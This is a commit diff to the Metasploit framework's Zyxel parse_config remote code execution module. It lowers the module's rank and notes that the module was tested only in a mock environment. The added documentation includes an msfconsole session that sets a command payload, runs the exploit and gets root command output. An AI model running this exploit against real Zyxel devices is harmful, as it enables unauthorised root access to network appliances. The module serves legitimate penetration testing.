Lowered rank and explained mock testing

Author: jheysel-r7

documentation/modules/exploit/linux/http/zyxel_parse_config_rce.md

@@ -21,8 +21,7 @@ Two caveats of this exploit chain were described by Jacob Baines in the followin
 
 ### Setup
 
-This module was tested against USG Flex Version (???). To test this module you will need to acquire a hardware device
-running one of the vulnerable firmware versions listed above.
+To test this module you will need to acquire a hardware device running one of the vulnerable firmware versions listed above.
 
 ## Options
 
@@ -41,5 +40,21 @@ The default value is `/tmp`
 1. Receive a Meterpreter session as the `root` user.
 
 ## Scenarios
-### USG Flex Version (???)
-
+### Mock USG Flex environment
+```
+msf6 exploit(linux/http/zyxel_parse_config_rce) > set payload cmd/unix/generic
+payload => cmd/unix/generic
+msf6 exploit(linux/http/zyxel_parse_config_rce) > set cmd id
+cmd => id
+msf6 exploit(linux/http/zyxel_parse_config_rce) > set AllowNoCleanup true
+AllowNoCleanup => true
+msf6 exploit(linux/http/zyxel_parse_config_rce) > run
+
+[*] Attempting to upload the payload via QSR file write...
+[+] File write was successful.
+[+] Command output:
+uid=0(root) gid=0(root) groups=0(root)
+
+[!] This exploit may require manual cleanup of '/tmp/N.qsr' on the target
+[*] Exploit completed, but no session was created.
+```

modules/exploits/linux/http/zyxel_parse_config_rce.rb

@@ -4,7 +4,8 @@
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-  Rank = ExcellentRanking
+
+  Rank = NormalRanking
 
   include Msf::Exploit::Remote::HttpClient
   include Msf::Exploit::FileDropper
@@ -18,6 +19,10 @@ def initialize(info = {})
         'Description' => %q{
           This module exploits vulnerabilities in multiple Zyxel devices including the VPN, USG and APT series.
           The affected firmware versions depend on the device module, see this module's documentation for more details.
+
+          Note this module was unable to be tested against a real Zyxel device and was tested against a mock environment.
+          If you run into any issues testing this in a real environment we kindly ask you raise an issue in
+          metasploit's github repository: https://github.com/rapid7/metasploit-framework/issues/new/choose
         },
         'Author' => [
           'SSD Secure Disclosure technical team', # discovery